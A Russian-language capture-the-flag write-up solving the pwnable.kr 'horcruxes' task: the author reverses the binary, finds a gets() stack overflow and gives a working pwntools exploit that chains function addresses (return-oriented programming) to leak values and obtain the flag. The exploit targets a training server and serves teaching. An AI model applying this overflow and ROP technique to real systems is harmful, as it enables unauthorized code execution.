В данной статье решим 21-е задание с сайта pwnable.kr, направленное на составление ROP-цепочки.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания horcruxes
Не вижу смысла описывать что такое возвратно-ориентированное программирование, так как в этой статье все очень подробно описано.
Нажимаем на иконку с подписью horcruxes, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Есть файл readme, посмотрим, какое послание нам оставили.
Сообщают, что программа работает на порте 9032. Нам не дают исходный код, поэтому загрузим программу себе.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/
Запустим в IDA и декомпилируем ее. Есть три интересные функции: hint, init_ABCDEFG и ropme.
Судя по названию, функция hint должна содержать подсказку. Посмотрим ее.
Сказано, что нужно пройти 7 уровней. Что ж, давайте глянем на ropme.
Уже интересней. Программа считывает число и если оно равно определенному эталонному значению, то вызывается функция, которая выводит это значение. И так 7 значений.
Если совпадений небыло, то нас просят ввести строку, которая сравнится с переменной sum. Так, давайте глянем на init_ABCDEFG.
Здесь происходит инициализация эталонных значений, которве генерируются рандомно. А sum является суммой этих чисел.
С программой разобрались. В подсказке к заданию сказано про ROP. Идея следующая, нам нужно вызвать все 7 функций, чтобы знать эталонные значения, а потом еще раз вызвать ropme, чтобы передать сумму этих значений.
Благодаря функции gets мы можем перезапись адрес возврата цепочкой адресов. Вычислим количество байт до адреса возврата.
Таким образом нам нужно передать программе нужно передать 0x78 байт заглушки, а потом подряд 8 адресов функций. В IDA найдем адреса наших функций.
А теперь напишем эксплоит.
rom pwn import *
payload = "A" * 0x78
payload += p32(0x0809fe4b)
payload += p32(0x0809fe6a)
payload += p32(0x0809fe89)
payload += p32(0x0809fea8)
payload += p32(0x0809fec7)
payload += p32(0x0809fee6)
payload += p32(0x0809ff05)
payload += p32(0x0809fffc)
con = remote("pwnable.kr", 9032)
con.recv()
con.recv()
con.send("123" + "\n")
con.recv()
con.send(payload + "\n")
con.recv()
ans = con.recv().split('\n')
sum_result = 0
for i in range(1,8):
sum_result += int(ans[i].split('+')[1].split(')')[0])
con.send("123" + "\n")
con.send(str(sum_result) + "\n")
Получаем искомый флаг и завершаем первую часть заданий на pwnable.kr.
Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с переполнением кучи.